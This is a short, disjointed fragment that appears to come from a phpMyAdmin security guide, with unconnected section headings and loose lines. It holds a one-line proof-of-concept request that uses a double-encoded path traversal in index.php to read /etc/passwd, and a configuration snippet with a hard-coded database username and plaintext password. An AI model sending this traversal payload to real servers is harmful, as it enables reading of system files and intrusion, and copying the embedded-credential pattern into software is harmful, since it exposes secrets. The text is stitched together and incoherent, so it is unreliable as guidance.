Look for:

3.3. Insecure Authentication Methods

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POC: Send a POST to index.php?target=db_datadict.php%253f../../../../../../etc/passwd

7.5. Keep Software Updated

Check your current privileges:

$cfg['Servers'][$i]['user'] = 'dbuser'; $cfg['Servers'][$i]['password'] = 'Sup3rS3cr3t';